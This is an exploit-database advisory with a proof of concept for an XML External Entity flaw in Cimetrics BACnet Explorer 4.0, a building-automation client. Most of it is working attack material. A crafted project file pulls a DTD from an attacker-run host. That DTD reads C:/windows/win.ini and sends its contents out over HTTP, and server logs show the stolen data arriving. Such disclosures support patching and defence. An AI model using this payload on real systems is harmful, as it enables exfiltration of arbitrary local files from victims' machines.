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Cimetrics BACnet Explorer 4.0 - XML External Entity Injection Vulnerability

Author
LiquidWorm
Risk
[
Security Risk High
]
0day-ID
0day-ID-26962
Category
local exploits
Date add
12-02-2017
Platform
windows
Cimetrics BACnet Explorer 4.0 XXE Vulnerability
 
 
Vendor: Cimetrics, Inc.
Product web page: https://www.cimetrics.com
Affected version: 4.0.0.0
 
Summary: The BACnet Explorer is a BACnet client application that
helps auto discover BACnet devices.
 
Desc: BACnetExplorer suffers from an XML External Entity (XXE)
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
xml project file.
 
Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1
           mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR
           BACstac Library: 1.5.6116.0
           BACstac Service: 6.8.3
 
--
 
Open file evil.xml:
 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml">
%remote;
%root;
%oob;]>
 
 
xxe.xml on the web server:
 
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> ">
 
 
pyhon -m SimpleHTTPServer 8080
 
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -

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